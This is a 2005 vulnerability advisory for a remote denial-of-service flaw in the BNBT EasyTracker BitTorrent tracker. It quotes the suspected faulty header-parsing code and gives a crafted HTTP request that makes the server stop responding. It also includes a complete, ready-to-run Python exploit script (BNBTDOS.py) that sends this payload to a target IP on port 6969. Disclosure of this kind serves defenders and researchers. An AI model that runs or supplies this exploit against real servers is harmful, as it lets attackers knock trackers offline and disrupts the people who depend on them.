BNBT EasyTracker Remote Denial of Service Vulnerability

BNBT EasyTracker Remote Denial of Service Vulnerability

by Sowhat

Last Update:2005.08.30

http://secway.org/advisory/AD20050830.txt

Vendor:

http://bnbteasytracker.sourceforge.net/

Product Affected:

7.7r3.2004.10.27 and below

Overview:

BNBT was written by Trevor Hogan. BNBT is a complete port 
of the original Python BitTorrent tracker to C++ for speed
and efficiency. BNBT also offers many additional features
beyond the original Python BitTorrent tracker, plus it's 
easy to use and customizable. BNBT is covered under the GNU
Lesser General Public License (LGPL).

A Denial of Service vulnerability exists within BNBT which
allows for an attacker to cause the BNBT to stop responding. 

Details:

A specifically crafted HTTP request will cause the BNBT 
Server stop responding.

Sending a request like "GET /index.htm HTTP/1.1\r\n:\r\n\r\n"
will reproduce the problem. It seems that the bug is located
in client.cpp, "//grab headers" section. And it is something
like " 1-2 = -1" and similar to memcpy(-1) ? 

// grab headers

string :: size_type iNewLine = m_strReceiveBuf.find( "\r\n" );
string :: size_type iDoubleNewLine = m_strReceiveBuf.find( "\r\n\r\n" );

strTemp = m_strReceiveBuf.substr( iNewLine + strlen( "\r\n" ), 
iDoubleNewLine - iNewLine - strlen( "\r\n" ) );

while( 1 )
{
string :: size_type iSplit = strTemp.find( ":" );
string :: size_type iEnd = strTemp.find( "\r\n" );

if( iSplit == string :: npos )
{
UTIL_LogPrint( "client warning - malformed HTTP request (bad header)\n" );

break;
}

string strKey = strTemp.substr( 0, iSplit );
string strValue = strTemp.substr( iSplit + strlen( ": " ), iEnd - iSplit - 
strlen( "\r\n" ) );//Bug here ??

rqst.mapHeaders.insert( pair<string, string>( strKey, strValue ) );

strTemp = strTemp.substr( iEnd + strlen( "\r\n" ) );

if( iEnd == string :: npos )
break;
}

However, I am not quite sure about that and it seems that
it is only a D.O.S so I havnt deep into it. 

Exploit:

//BNBTDOS.py
# BNBT EasyTracker Remote D.O.S Exploit
# Bug discoverd and coded by Sowhat
# http://secway.org

# Version 7.7r3.2004.10.27 and below
# the BNBT project: http://bnbteasytracker.sourceforge.net/

import sys
import string
import socket

if (len(sys.argv) != 2):
print "\nUsage: " + sys.argv[0] + " TargetIP\n"
print "##################################################################"
print "# #"
print "# BNBT EasyTracker Remote D.O.S Exploit #"
print "# Bug discoverd and coded by Sowhat #"
print "# http://secway.org #"
print "##################################################################"
sys.exit(0)

host = sys.argv[1]
port = 6969


payload = "GET /index.htm HTTP/1.1\r\n:\r\n\r\n"

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
s.send(payload)


WORKAROUND:

No WORKAROUND this time.
plz check the vendor's website for update
Maybe there will be a patch later (?)

Vendor Response:

2005.08.22 Vendor notified via Webform,no email found 
2005.08.30 Vendor no response. Advisory Released

"Life is like a bug, Do you know how to exploit it ?"